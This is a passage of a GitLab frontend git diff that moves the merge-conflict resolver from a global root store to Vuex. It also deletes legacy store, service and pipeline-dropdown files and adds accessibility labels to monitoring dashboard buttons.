ParallelConflictLines,
},
- inject: ['mergeRequestPath', 'sourceBranchPath'],
+ inject: ['mergeRequestPath', 'sourceBranchPath', 'resolveConflictsPath'],
i18n: {
commitStatSummary: __('Showing %{conflict} between %{sourceBranch} and %{targetBranch}'),
resolveInfo: __(
'You can resolve the merge conflict using either the Interactive mode, by choosing %{use_ours} or %{use_theirs} buttons, or by editing the files directly. Commit these changes into %{branch_name}',
),
},
+ computed: {
+ ...mapGetters([
+ 'getConflictsCountText',
+ 'isReadyToCommit',
+ 'getCommitButtonText',
+ 'fileTextTypePresent',
+ ]),
+ ...mapState(['isLoading', 'hasError', 'isParallel', 'conflictsData']),
+ commitMessage: {
+ get() {
+ return this.conflictsData.commitMessage;
+ },
+ set(value) {
+ this.updateCommitMessage(value);
+ },
+ },
+ },
+ methods: {
+ ...mapActions([
+ 'setViewType',
+ 'submitResolvedConflicts',
+ 'setFileResolveMode',
+ 'setPromptConfirmationState',
+ 'updateCommitMessage',
+ ]),
+ onClickResolveModeButton(file, mode) {
+ if (mode === INTERACTIVE_RESOLVE_MODE && file.resolveEditChanged) {
+ this.setPromptConfirmationState({ file, promptDiscardConfirmation: true });
+ } else {
+ this.setFileResolveMode({ file, mode });
+ }
+ },
+ },
};
</script>
<template>
<div id="conflicts">
- <div v-if="$root.isLoading" class="loading">
+ <div v-if="isLoading" class="loading">
<div class="spinner spinner-md"></div>
</div>
- <div v-if="$root.hasError" class="nothing-here-block">
- {{ $root.conflictsData.errorMessage }}
+ <div v-if="hasError" class="nothing-here-block">
+ {{ conflictsData.errorMessage }}
</div>
- <template v-if="!$root.isLoading && !$root.hasError">
+ <template v-if="!isLoading && !hasError">
<div class="content-block oneline-block files-changed">
- <div v-if="$root.showDiffViewTypeSwitcher" class="inline-parallel-buttons">
+ <div v-if="fileTextTypePresent" class="inline-parallel-buttons">
<div class="btn-group">
<button
- :class="{ active: !$root.isParallel }"
+ :class="{ active: !isParallel }"
class="btn gl-button"
- @click="$root.handleViewTypeChange('inline')"
+ @click="setViewType('inline')"
>
{{ __('Inline') }}
</button>
<button
- :class="{ active: $root.isParallel }"
+ :class="{ active: isParallel }"
class="btn gl-button"
- @click="$root.handleViewTypeChange('parallel')"
+ data-testid="side-by-side"
+ @click="setViewType('parallel')"
>
{{ __('Side-by-side') }}
</button>
</div>
</div>
<div class="js-toggle-container">
- <div class="commit-stat-summary">
+ <div class="commit-stat-summary" data-testid="conflicts-count">
<gl-sprintf :message="$options.i18n.commitStatSummary">
<template #conflict>
- <strong class="cred">
- {{ $root.conflictsCountText }}
- </strong>
+ <strong class="cred">{{ getConflictsCountText }}</strong>
</template>
<template #sourceBranch>
- <strong class="ref-name">
- {{ $root.conflictsData.sourceBranch }}
- </strong>
+ <strong class="ref-name">{{ conflictsData.sourceBranch }}</strong>
</template>
<template #targetBranch>
- <strong class="ref-name">
- {{ $root.conflictsData.targetBranch }}
- </strong>
+ <strong class="ref-name">{{ conflictsData.targetBranch }}</strong>
</template>
</gl-sprintf>
</div>
@@ -87,12 +116,13 @@ export default {
<div class="files-wrapper">
<div class="files">
<div
- v-for="file in $root.conflictsData.files"
+ v-for="file in conflictsData.files"
:key="file.blobPath"
class="diff-file file-holder conflict"
+ data-testid="files"
>
<div class="js-file-title file-title file-title-flex-parent cursor-default">
- <div class="file-header-content">
+ <div class="file-header-content" data-testid="file-name">
<file-icon :file-name="file.filePath" :size="18" css-classes="gl-mr-2" />
<strong class="file-title-name">{{ file.filePath }}</strong>
</div>
@@ -102,7 +132,8 @@ export default {
:class="{ active: file.resolveMode === 'interactive' }"
class="btn gl-button"
type="button"
- @click="$root.onClickResolveModeButton(file, 'interactive')"
+ data-testid="interactive-button"
+ @click="onClickResolveModeButton(file, 'interactive')"
>
{{ __('Interactive mode') }}
</button>
@@ -110,7 +141,8 @@ export default {
:class="{ active: file.resolveMode === 'edit' }"
class="btn gl-button"
type="button"
- @click="$root.onClickResolveModeButton(file, 'edit')"
+ data-testid="inline-button"
+ @click="onClickResolveModeButton(file, 'edit')"
>
{{ __('Edit inline') }}
</button>
@@ -118,35 +150,23 @@ export default {
<a :href="file.blobPath" class="btn gl-button view-file">
<gl-sprintf :message="__('View file @ %{commitSha}')">
<template #commitSha>
- {{ $root.conflictsData.shortCommitSha }}
+ {{ conflictsData.shortCommitSha }}
</template>
</gl-sprintf>
</a>
</div>
</div>
<div class="diff-content diff-wrap-lines">
- <div
- v-show="
- !$root.isParallel && file.resolveMode === 'interactive' && file.type === 'text'
- "
- class="file-content"
- >
- <inline-conflict-lines :file="file" />
- </div>
- <div
- v-show="
- $root.isParallel && file.resolveMode === 'interactive' && file.type === 'text'
- "
- class="file-content"
- >
- <parallel-conflict-lines :file="file" />
- </div>
- <div v-show="file.resolveMode === 'edit' || file.type === 'text-editor'">
- <diff-file-editor
- :file="file"
- :on-accept-discard-confirmation="$root.acceptDiscardConfirmation"
- :on-cancel-discard-confirmation="$root.cancelDiscardConfirmation"
- />
+ <template v-if="file.resolveMode === 'interactive' && file.type === 'text'">
+ <div v-if="!isParallel" class="file-content">
+ <inline-conflict-lines :file="file" />
+ </div>
+ <div v-if="isParallel" class="file-content">
+ <parallel-conflict-lines :file="file" />
+ </div>
+ </template>
+ <div v-if="file.resolveMode === 'edit' || file.type === 'text-editor'">
+ <diff-file-editor :file="file" />
</div>
</div>
</div>
@@ -169,7 +189,7 @@ export default {
</template>
<template #branch_name>
<a class="ref-name" :href="sourceBranchPath">
- {{ $root.conflictsData.sourceBranch }}
+ {{ conflictsData.sourceBranch }}
</a>
</template>
</gl-sprintf>
@@ -183,7 +203,8 @@ export default {
<div class="max-width-marker"></div>
<textarea
id="commit-message"
- v-model="$root.conflictsData.commitMessage"
+ v-model="commitMessage"
+ data-testid="commit-message"
class="form-control js-commit-message"
rows="5"
></textarea>
@@ -195,12 +216,12 @@ export default {
<div class="row">
<div class="col-6">
<button
- :disabled="!$root.readyToCommit"
+ :disabled="!isReadyToCommit"
class="btn gl-button btn-success js-submit-button"
type="button"
- @click="$root.commit()"
+ @click="submitResolvedConflicts(resolveConflictsPath)"
>
- <span>{{ $root.commitButtonText }}</span>
+ <span>{{ getCommitButtonText }}</span>
</button>
</div>
<div class="col-6 text-right">
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflict_service.js b/app/assets/javascripts/merge_conflicts/merge_conflict_service.js
deleted file mode 100644
index 64d69159222..00000000000
--- a/app/assets/javascripts/merge_conflicts/merge_conflict_service.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import axios from '../lib/utils/axios_utils';
-
-export default class MergeConflictsService {
- constructor(options) {
- this.conflictsPath = options.conflictsPath;
- this.resolveConflictsPath = options.resolveConflictsPath;
- }
-
- fetchConflictsData() {
- return axios.get(this.conflictsPath);
- }
-
- submitResolveConflicts(data) {
- return axios.post(this.resolveConflictsPath, data);
- }
-}
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflict_store.js b/app/assets/javascripts/merge_conflicts/merge_conflict_store.js
deleted file mode 100644
index fb3444262ea..00000000000
--- a/app/assets/javascripts/merge_conflicts/merge_conflict_store.js
+++ /dev/null
@@ -1,432 +0,0 @@
-/* eslint-disable no-param-reassign, babel/camelcase, no-nested-ternary, no-continue */
-
-import $ from 'jquery';
-import Cookies from 'js-cookie';
-import Vue from 'vue';
-import { s__ } from '~/locale';
-
-((global) => {
- global.mergeConflicts = global.mergeConflicts || {};
-
- const diffViewType = Cookies.get('diff_view');
- const HEAD_HEADER_TEXT = s__('MergeConflict|HEAD//our changes');
- const ORIGIN_HEADER_TEXT = s__('MergeConflict|origin//their changes');
- const HEAD_BUTTON_TITLE = s__('MergeConflict|Use ours');
- const ORIGIN_BUTTON_TITLE = s__('MergeConflict|Use theirs');
- const INTERACTIVE_RESOLVE_MODE = 'interactive';
- const EDIT_RESOLVE_MODE = 'edit';
- const DEFAULT_RESOLVE_MODE = INTERACTIVE_RESOLVE_MODE;
- const VIEW_TYPES = {
- INLINE: 'inline',
- PARALLEL: 'parallel',
- };
- const CONFLICT_TYPES = {
- TEXT: 'text',
- TEXT_EDITOR: 'text-editor',
- };
-
- global.mergeConflicts.mergeConflictsStore = {
- state: {
- isLoading: true,
- hasError: false,
- isSubmitting: false,
- isParallel: diffViewType === VIEW_TYPES.PARALLEL,
- diffViewType,
- conflictsData: {},
- },
-
- setConflictsData(data) {
- this.decorateFiles(data.files);
-
- this.state.conflictsData = {
- files: data.files,
- commitMessage: data.commit_message,
- sourceBranch: data.source_branch,
- targetBranch: data.target_branch,
- shortCommitSha: data.commit_sha.slice(0, 7),
- };
- },
-
- decorateFiles(files) {
- files.forEach((file) => {
- file.content = '';
- file.resolutionData = {};
- file.promptDiscardConfirmation = false;
- file.resolveMode = DEFAULT_RESOLVE_MODE;
- file.filePath = this.getFilePath(file);
- file.blobPath = file.blob_path;
-
- if (file.type === CONFLICT_TYPES.TEXT) {
- file.showEditor = false;
- file.loadEditor = false;
-
- this.setInlineLine(file);
- this.setParallelLine(file);
- } else if (file.type === CONFLICT_TYPES.TEXT_EDITOR) {
- file.showEditor = true;
- file.loadEditor = true;
- }
- });
- },
-
- setInlineLine(file) {
- file.inlineLines = [];
-
- file.sections.forEach((section) => {
- let currentLineType = 'new';
- const { conflict, lines, id } = section;
-
- if (conflict) {
- file.inlineLines.push(this.getHeadHeaderLine(id));
- }
-
- lines.forEach((line) => {
- const { type } = line;
-
- if ((type === 'new' || type === 'old') && currentLineType !== type) {
- currentLineType = type;
- file.inlineLines.push({ lineType: 'emptyLine', richText: '' });
- }
-
- this.decorateLineForInlineView(line, id, conflict);
- file.inlineLines.push(line);
- });
-
- if (conflict) {
- file.inlineLines.push(this.getOriginHeaderLine(id));
- }
- });
- },
-
- setParallelLine(file) {
- file.parallelLines = [];
- const linesObj = { left: [], right: [] };
-
- file.sections.forEach((section) => {
- const { conflict, lines, id } = section;
-
- if (conflict) {
- linesObj.left.push(this.getOriginHeaderLine(id));
- linesObj.right.push(this.getHeadHeaderLine(id));
- }
-
- lines.forEach((line) => {
- const { type } = line;
-
- if (conflict) {
- if (type === 'old') {
- linesObj.left.push(this.getLineForParallelView(line, id, 'conflict'));
- } else if (type === 'new') {
- linesObj.right.push(this.getLineForParallelView(line, id, 'conflict', true));
- }
- } else {
- const lineType = type || 'context';
-
- linesObj.left.push(this.getLineForParallelView(line, id, lineType));
- linesObj.right.push(this.getLineForParallelView(line, id, lineType, true));
- }
- });
-
- this.checkLineLengths(linesObj);
- });
-
- for (let i = 0, len = linesObj.left.length; i < len; i += 1) {
- file.parallelLines.push([linesObj.right[i], linesObj.left[i]]);
- }
- },
-
- setLoadingState(state) {
- this.state.isLoading = state;
- },
-
- setErrorState(state) {
- this.state.hasError = state;
- },
-
- setFailedRequest(message) {
- this.state.hasError = true;
- this.state.conflictsData.errorMessage = message;
- },
-
- getConflictsCount() {
- if (!this.state.conflictsData.files.length) {
- return 0;
- }
-
- const { files } = this.state.conflictsData;
- let count = 0;
-
- files.forEach((file) => {
- if (file.type === CONFLICT_TYPES.TEXT) {
- file.sections.forEach((section) => {
- if (section.conflict) {
- count += 1;
- }
- });
- } else {
- count += 1;
- }
- });
-
- return count;
- },
-
- getConflictsCountText() {
- const count = this.getConflictsCount();
- const text = count > 1 ? s__('MergeConflict|conflicts') : s__('MergeConflict|conflict');
-
- return `${count} ${text}`;
- },
-
- setViewType(viewType) {
- this.state.diffView = viewType;
- this.state.isParallel = viewType === VIEW_TYPES.PARALLEL;
-
- Cookies.set('diff_view', viewType);
- },
-
- getHeadHeaderLine(id) {
- return {
- id,
- richText: HEAD_HEADER_TEXT,
- buttonTitle: HEAD_BUTTON_TITLE,
- type: 'new',
- section: 'head',
- isHeader: true,
- isHead: true,
- isSelected: false,
- isUnselected: false,
- };
- },
-
- decorateLineForInlineView(line, id, conflict) {
- const { type } = line;
- line.id = id;
- line.hasConflict = conflict;
- line.isHead = type === 'new';
- line.isOrigin = type === 'old';
- line.hasMatch = type === 'match';
- line.richText = line.rich_text;
- line.isSelected = false;
- line.isUnselected = false;
- },
-
- getLineForParallelView(line, id, lineType, isHead) {
- const { old_line, new_line, rich_text } = line;
- const hasConflict = lineType === 'conflict';
-
- return {
- id,
- lineType,
- hasConflict,
- isHead: hasConflict && isHead,
- isOrigin: hasConflict && !isHead,
- hasMatch: lineType === 'match',
- lineNumber: isHead ? new_line : old_line,
- section: isHead ? 'head' : 'origin',
- richText: rich_text,
- isSelected: false,
- isUnselected: false,
- };
- },
-
- getOriginHeaderLine(id) {
- return {
- id,
- richText: ORIGIN_HEADER_TEXT,
- buttonTitle: ORIGIN_BUTTON_TITLE,
- type: 'old',
- section: 'origin',
- isHeader: true,
- isOrigin: true,
- isSelected: false,
- isUnselected: false,
- };
- },
-
- getFilePath(file) {
- const { old_path, new_path } = file;
- return old_path === new_path ? new_path : `${old_path} → ${new_path}`;
- },
-
- checkLineLengths(linesObj) {
- const { left, right } = linesObj;
-
- if (left.length !== right.length) {
- if (left.length > right.length) {
- const diff = left.length - right.length;
- for (let i = 0; i < diff; i += 1) {
- right.push({ lineType: 'emptyLine', richText: '' });
- }
- } else {
- const diff = right.length - left.length;
- for (let i = 0; i < diff; i += 1) {
- left.push({ lineType: 'emptyLine', richText: '' });
- }
- }
- }
- },
-
- setPromptConfirmationState(file, state) {
- file.promptDiscardConfirmation = state;
- },
-
- setFileResolveMode(file, mode) {
- if (mode === INTERACTIVE_RESOLVE_MODE) {
- file.showEditor = false;
- } else if (mode === EDIT_RESOLVE_MODE) {
- // Restore Interactive mode when switching to Edit mode
- file.showEditor = true;
- file.loadEditor = true;
- file.resolutionData = {};
-
- this.restoreFileLinesState(file);
- }
-
- file.resolveMode = mode;
- },
-
- restoreFileLinesState(file) {
- file.inlineLines.forEach((line) => {
- if (line.hasConflict || line.isHeader) {
- line.isSelected = false;
- line.isUnselected = false;
- }
- });
-
- file.parallelLines.forEach((lines) => {
- const left = lines[0];
- const right = lines[1];
- const isLeftMatch = left.hasConflict || left.isHeader;
- const isRightMatch = right.hasConflict || right.isHeader;
-
- if (isLeftMatch || isRightMatch) {
- left.isSelected = false;
- left.isUnselected = false;
- right.isSelected = false;
- right.isUnselected = false;
- }
- });
- },
-
- isReadyToCommit() {
- const { files } = this.state.conflictsData;
- const hasCommitMessage = $.trim(this.state.conflictsData.commitMessage).length;
- let unresolved = 0;
-
- for (let i = 0, l = files.length; i < l; i += 1) {
- const file = files[i];
-
- if (file.resolveMode === INTERACTIVE_RESOLVE_MODE) {
- let numberConflicts = 0;
- const resolvedConflicts = Object.keys(file.resolutionData).length;
-
- // We only check for conflicts type 'text'
- // since conflicts `text_editor` can´t be resolved in interactive mode
- if (file.type === CONFLICT_TYPES.TEXT) {
- for (let j = 0, k = file.sections.length; j < k; j += 1) {
- if (file.sections[j].conflict) {
- numberConflicts += 1;
- }
- }
-
- if (resolvedConflicts !== numberConflicts) {
- unresolved += 1;
- }
- }
- } else if (file.resolveMode === EDIT_RESOLVE_MODE) {
- // Unlikely to happen since switching to Edit mode saves content automatically.
- // Checking anyway in case the save strategy changes in the future
- if (!file.content) {
- unresolved += 1;
- continue;
- }
- }
- }
-
- return !this.state.isSubmitting && hasCommitMessage && !unresolved;
- },
-
- getCommitButtonText() {
- const initial = s__('MergeConflict|Commit to source branch');
- const inProgress = s__('MergeConflict|Committing...');
-
- return this.state ? (this.state.isSubmitting ? inProgress : initial) : initial;
- },
-
- getCommitData() {
- let commitData = {};
-
- commitData = {
- commit_message: this.state.conflictsData.commitMessage,
- files: [],
- };
-
- this.state.conflictsData.files.forEach((file) => {
- const addFile = {
- old_path: file.old_path,
- new_path: file.new_path,
- };
-
- if (file.type === CONFLICT_TYPES.TEXT) {
- // Submit only one data for type of editing
- if (file.resolveMode === INTERACTIVE_RESOLVE_MODE) {
- addFile.sections = file.resolutionData;
- } else if (file.resolveMode === EDIT_RESOLVE_MODE) {
- addFile.content = file.content;
- }
- } else if (file.type === CONFLICT_TYPES.TEXT_EDITOR) {
- addFile.content = file.content;
- }
-
- commitData.files.push(addFile);
- });
-
- return commitData;
- },
-
- handleSelected(file, sectionId, selection) {
- Vue.set(file.resolutionData, sectionId, selection);
-
- file.inlineLines.forEach((line) => {
- if (line.id === sectionId && (line.hasConflict || line.isHeader)) {
- this.markLine(line, selection);
- }
- });
-
- file.parallelLines.forEach((lines) => {
- const left = lines[0];
- const right = lines[1];
- const hasSameId = right.id === sectionId || left.id === sectionId;
- const isLeftMatch = left.hasConflict || left.isHeader;
- const isRightMatch = right.hasConflict || right.isHeader;
-
- if (hasSameId && (isLeftMatch || isRightMatch)) {
- this.markLine(left, selection);
- this.markLine(right, selection);
- }
- });
- },
-
- markLine(line, selection) {
- if (selection === 'head' && line.isHead) {
- line.isSelected = true;
- line.isUnselected = false;
- } else if (selection === 'origin' && line.isOrigin) {
- line.isSelected = true;
- line.isUnselected = false;
- } else {
- line.isSelected = false;
- line.isUnselected = true;
- }
- },
-
- setSubmitState(state) {
- this.state.isSubmitting = state;
- },
-
- fileTextTypePresent() {
- return this.state.conflictsData.files.some((f) => f.type === CONFLICT_TYPES.TEXT);
- },
- };
-})(window.gl || (window.gl = {}));
diff --git a/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js b/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
index 4b73dd317cd..cf02c6fbd6b 100644
--- a/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
+++ b/app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js
@@ -1,100 +1,32 @@
-import $ from 'jquery';
import Vue from 'vue';
-import { __ } from '~/locale';
-import { deprecatedCreateFlash as createFlash } from '../flash';
import initIssuableSidebar from '../init_issuable_sidebar';
-import './merge_conflict_store';
-import syntaxHighlight from '../syntax_highlight';
import MergeConflictsResolverApp from './merge_conflict_resolver_app.vue';
-import MergeConflictsService from './merge_conflict_service';
+import { createStore } from './store';
export default function initMergeConflicts() {
- const INTERACTIVE_RESOLVE_MODE = 'interactive';
const conflictsEl = document.querySelector('#conflicts');
- const { mergeConflictsStore } = gl.mergeConflicts;
- const mergeConflictsService = new MergeConflictsService({
- conflictsPath: conflictsEl.dataset.conflictsPath,
- resolveConflictsPath: conflictsEl.dataset.resolveConflictsPath,
- });
- const { sourceBranchPath, mergeRequestPath } = conflictsEl.dataset;
+ const {
+ sourceBranchPath,
+ mergeRequestPath,
+ conflictsPath,
+ resolveConflictsPath,
+ } = conflictsEl.dataset;
initIssuableSidebar();
+ const store = createStore();
+
return new Vue({
el: conflictsEl,
+ store,
provide: {
sourceBranchPath,
mergeRequestPath,
- },
- data: mergeConflictsStore.state,
- computed: {
- conflictsCountText() {
- return mergeConflictsStore.getConflictsCountText();
- },
- readyToCommit() {
- return mergeConflictsStore.isReadyToCommit();
- },
- commitButtonText() {
- return mergeConflictsStore.getCommitButtonText();
- },
- showDiffViewTypeSwitcher() {
- return mergeConflictsStore.fileTextTypePresent();
- },
+ resolveConflictsPath,
},
created() {
- mergeConflictsService
- .fetchConflictsData()
- .then(({ data }) => {
- if (data.type === 'error') {
- mergeConflictsStore.setFailedRequest(data.message);
- } else {
- mergeConflictsStore.setConflictsData(data);
- }
-
- mergeConflictsStore.setLoadingState(false);
-
- this.$nextTick(() => {
- syntaxHighlight($('.js-syntax-highlight'));
- });
- })
- .catch(() => {
- mergeConflictsStore.setLoadingState(false);
- mergeConflictsStore.setFailedRequest();
- });
- },
- methods: {
- handleViewTypeChange(viewType) {
- mergeConflictsStore.setViewType(viewType);
- },
- onClickResolveModeButton(file, mode) {
- if (mode === INTERACTIVE_RESOLVE_MODE && file.resolveEditChanged) {
- mergeConflictsStore.setPromptConfirmationState(file, true);
- return;
- }
-
- mergeConflictsStore.setFileResolveMode(file, mode);
- },
- acceptDiscardConfirmation(file) {
- mergeConflictsStore.setPromptConfirmationState(file, false);
- mergeConflictsStore.setFileResolveMode(file, INTERACTIVE_RESOLVE_MODE);
- },
- cancelDiscardConfirmation(file) {
- mergeConflictsStore.setPromptConfirmationState(file, false);
- },
- commit() {
- mergeConflictsStore.setSubmitState(true);
-
- mergeConflictsService
- .submitResolveConflicts(mergeConflictsStore.getCommitData())
- .then(({ data }) => {
- window.location.href = data.redirect_to;
- })
- .catch(() => {
- mergeConflictsStore.setSubmitState(false);
- createFlash(__('Failed to save merge conflicts resolutions. Please try again!'));
- });
- },
+ store.dispatch('fetchConflictsData', conflictsPath);
},
render(createElement) {
return createElement(MergeConflictsResolverApp);
diff --git a/app/assets/javascripts/merge_conflicts/mixins/line_conflict_actions.js b/app/assets/javascripts/merge_conflicts/mixins/line_conflict_actions.js
deleted file mode 100644
index 364ae2b2688..00000000000
--- a/app/assets/javascripts/merge_conflicts/mixins/line_conflict_actions.js
+++ /dev/null
@@ -1,7 +0,0 @@
-export default {
- methods: {
- handleSelected(file, sectionId, selection) {
- gl.mergeConflicts.mergeConflictsStore.handleSelected(file, sectionId, selection);
- },
- },
-};
diff --git a/app/assets/javascripts/merge_conflicts/store/actions.js b/app/assets/javascripts/merge_conflicts/store/actions.js
index 8036e90c58c..df515c4ac1a 100644
--- a/app/assets/javascripts/merge_conflicts/store/actions.js
+++ b/app/assets/javascripts/merge_conflicts/store/actions.js
@@ -118,3 +118,8 @@ export const handleSelected = ({ commit, state, getters }, { file, line: { id, s
commit(types.UPDATE_FILE, { file: updated, index });
};
+
+export const updateFile = ({ commit, getters }, file) => {
+ const index = getters.getFileIndex(file);
+ commit(types.UPDATE_FILE, { file, index });
+};
diff --git a/app/assets/javascripts/merge_conflicts/store/getters.js b/app/assets/javascripts/merge_conflicts/store/getters.js
index 03e425fb478..54f3d6ec4bc 100644
--- a/app/assets/javascripts/merge_conflicts/store/getters.js
+++ b/app/assets/javascripts/merge_conflicts/store/getters.js
@@ -67,7 +67,7 @@ export const isReadyToCommit = (state) => {
}
}
- return !state.isSubmitting && hasCommitMessage && !unresolved;
+ return Boolean(!state.isSubmitting && hasCommitMessage && !unresolved);
};
export const getCommitButtonText = (state) => {
diff --git a/app/assets/javascripts/merge_request/components/status_box.vue b/app/assets/javascripts/merge_request/components/status_box.vue
index 5d2660d65e6..526aafc1def 100644
--- a/app/assets/javascripts/merge_request/components/status_box.vue
+++ b/app/assets/javascripts/merge_request/components/status_box.vue
@@ -13,7 +13,7 @@ const CLASSES = {
const STATUS = {
opened: [__('Open'), 'issue-open-m'],
locked: [__('Open'), 'issue-open-m'],
- closed: [__('Closed'), 'close'],
+ closed: [__('Closed'), 'issue-close'],
merged: [__('Merged'), 'git-merge'],
};
diff --git a/app/assets/javascripts/merge_request_tabs.js b/app/assets/javascripts/merge_request_tabs.js
index 81b9db6b4d5..67b24793a65 100644
--- a/app/assets/javascripts/merge_request_tabs.js
+++ b/app/assets/javascripts/merge_request_tabs.js
@@ -264,7 +264,7 @@ export default class MergeRequestTabs {
}
}
- // Replaces the current Merge Request-specific action in the URL with a new one
+ // Replaces the current merge request-specific action in the URL with a new one
//
// If the action is "notes", the URL is reset to the standard
// `MergeRequests#show` route.
diff --git a/app/assets/javascripts/milestone_select.js b/app/assets/javascripts/milestone_select.js
index f4b60fc0961..b992eaff779 100644
--- a/app/assets/javascripts/milestone_select.js
+++ b/app/assets/javascripts/milestone_select.js
@@ -11,7 +11,6 @@ import boardsStore, {
boardStoreIssueSet,
boardStoreIssueDelete,
} from './boards/stores/boards_store';
-import ModalStore from './boards/stores/modal_store';
import axios from './lib/utils/axios_utils';
import { timeFor, parsePikadayDate, dateInWords } from './lib/utils/datetime_utility';
@@ -211,7 +210,7 @@ export default class MilestoneSelect {
const { e } = clickEvent;
let selected = clickEvent.selectedObj;
- let data, modalStoreFilter;
+ let data;
if (!selected) return;
if (options.handleClick) {
@@ -234,14 +233,7 @@ export default class MilestoneSelect {
return;
}
- if ($dropdown.closest('.add-issues-modal').length) {
- modalStoreFilter = ModalStore.store.filter;
- }
-
- if (modalStoreFilter) {
- modalStoreFilter[$dropdown.data('fieldName')] = selected.name;
- e.preventDefault();
- } else if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
+ if ($dropdown.hasClass('js-filter-submit') && (isIssueIndex || isMRIndex)) {
return Issuable.filterResults($dropdown.closest('form'));
} else if ($dropdown.hasClass('js-filter-submit')) {
return $dropdown.closest('form').submit();
diff --git a/app/assets/javascripts/mini_pipeline_graph_dropdown.js b/app/assets/javascripts/mini_pipeline_graph_dropdown.js
deleted file mode 100644
index 05f2f15fa9a..00000000000
--- a/app/assets/javascripts/mini_pipeline_graph_dropdown.js
+++ /dev/null
@@ -1,113 +0,0 @@
-import $ from 'jquery';
-import { deprecatedCreateFlash as flash } from './flash';
-import axios from './lib/utils/axios_utils';
-import { __ } from './locale';
-
-/**
- * In each pipelines table we have a mini pipeline graph for each pipeline.
- *
- * When we click in a pipeline stage, we need to make an API call to get the
- * builds list to render in a dropdown.
- *
- * The container should be the table element.
- *
- * The stage icon clicked needs to have the following HTML structure:
- * <div class="dropdown">
- * <button class="dropdown js-builds-dropdown-button" data-toggle="dropdown"></button>
- * <div class="js-builds-dropdown-container dropdown-menu"></div>
- * </div>
- */
-
-export default class MiniPipelineGraph {
- constructor(opts = {}) {
- this.container = opts.container || '';
- this.dropdownListSelector = '.js-builds-dropdown-container';
- this.getBuildsList = this.getBuildsList.bind(this);
- }
-
- /**
- * Adds the event listener when the dropdown is opened.
- * All dropdown events are fired at the .dropdown-menu's parent element.
- */
- bindEvents() {
- $(document)
- .off('shown.bs.dropdown', this.container)
- .on('shown.bs.dropdown', this.container, this.getBuildsList);
- }
-
- /**
- * When the user right clicks or cmd/ctrl + click in the job name
- * the dropdown should not be closed and the link should open in another tab,
- * so we stop propagation of the click event inside the dropdown.
- *
- * Since this component is rendered multiple times per page we need to guarantee we only
- * target the click event of this component.
- */
- stopDropdownClickPropagation() {
- $(document).on(
- 'click',
- `${this.container} .js-builds-dropdown-list a.mini-pipeline-graph-dropdown-item`,
- (e) => {
- e.stopPropagation();
- },
- );
- }
-
- /**
- * For the clicked stage, renders the given data in the dropdown list.
- *
- * @param {HTMLElement} stageContainer
- * @param {Object} data
- */
- renderBuildsList(stageContainer, data) {
- const dropdownContainer = stageContainer.parentElement.querySelector(
- `${this.dropdownListSelector} .js-builds-dropdown-list ul`,
- );
-
- dropdownContainer.innerHTML = data;
- }
-
- /**
- * For the clicked stage, gets the list of builds.
- *
- * All dropdown events have a relatedTarget property,
- * whose value is the toggling anchor element.
- *
- * @param {Object} e bootstrap dropdown event
- * @return {Promise}
- */
- getBuildsList(e) {
- const button = e.relatedTarget;
- const endpoint = button.dataset.stageEndpoint;
-
- this.renderBuildsList(button, '');
- this.toggleLoading(button);
-
- axios
- .get(endpoint)
- .then(({ data }) => {
- this.toggleLoading(button);
- this.renderBuildsList(button, data.html);
- this.stopDropdownClickPropagation();
- })
- .catch(() => {
- this.toggleLoading(button);
- if ($(button).parent().hasClass('open')) {
- $(button).dropdown('toggle');
- }
- flash(__('An error occurred while fetching the builds.'), 'alert');
- });
- }
-
- /**
- * Toggles the visibility of the loading icon.
- *
- * @param {HTMLElement} stageContainer
- * @return {type}
- */
- toggleLoading(stageContainer) {
- stageContainer.parentElement
- .querySelector(`${this.dropdownListSelector} .js-builds-dropdown-loading`)
- .classList.toggle('hidden');
- }
-}
diff --git a/app/assets/javascripts/monitoring/components/dashboard_header.vue b/app/assets/javascripts/monitoring/components/dashboard_header.vue
index 3c423bea368..05b5b760f0a 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_header.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_header.vue
@@ -14,6 +14,7 @@ import { debounce } from 'lodash';
import { mapActions, mapState, mapGetters } from 'vuex';
import invalidUrl from '~/lib/utils/invalid_url';
import { mergeUrlParams, redirectTo } from '~/lib/utils/url_utility';
+import { s__ } from '~/locale';
import DateTimePicker from '~/vue_shared/components/date_time_picker/date_time_picker.vue';
import { timeRanges } from '~/vue_shared/constants';
@@ -24,6 +25,9 @@ import DashboardsDropdown from './dashboards_dropdown.vue';
import RefreshButton from './refresh_button.vue';
export default {
+ i18n: {
+ metricsSettings: s__('Metrics|Metrics Settings'),
+ },
components: {
GlIcon,
GlButton,
@@ -282,7 +286,8 @@ export default {
data-testid="metrics-settings-button"
icon="settings"
:href="operationsSettingsPath"
- :title="s__('Metrics|Metrics Settings')"
+ :title="$options.i18n.metricsSettings"
+ :aria-label="$options.i18n.metricsSettings"
/>
</div>
</template>
diff --git a/app/assets/javascripts/monitoring/components/dashboard_panel_builder.vue b/app/assets/javascripts/monitoring/components/dashboard_panel_builder.vue
index 847339e814a..e5f0206bb8b 100644
--- a/app/assets/javascripts/monitoring/components/dashboard_panel_builder.vue
+++ b/app/assets/javascripts/monitoring/components/dashboard_panel_builder.vue
@@ -10,6 +10,7 @@ import {
GlTooltipDirective,
} from '@gitlab/ui';
import { mapActions, mapState } from 'vuex';
+import { s__ } from '~/locale';
import DateTimePicker from '~/vue_shared/components/date_time_picker/date_time_picker.vue';
import { timeRanges } from '~/vue_shared/constants';
import DashboardPanel from './dashboard_panel.vue';
@@ -24,6 +25,9 @@ metrics:
`;
export default {
+ i18n: {
+ refreshButtonLabel: s__('Metrics|Refresh Prometheus data'),
+ },
components: {
GlCard,
GlForm,
@@ -191,7 +195,8 @@ export default {
v-gl-tooltip
data-testid="previewRefreshButton"
icon="retry"
- :title="s__('Metrics|Refresh Prometheus data')"
+ :title="$options.i18n.refreshButtonLabel"
+ :aria-label="$options.i18n.refreshButtonLabel"
@click="onRefresh"
/>
<dashboard-panel :graph-data="panelPreviewGraphData" />
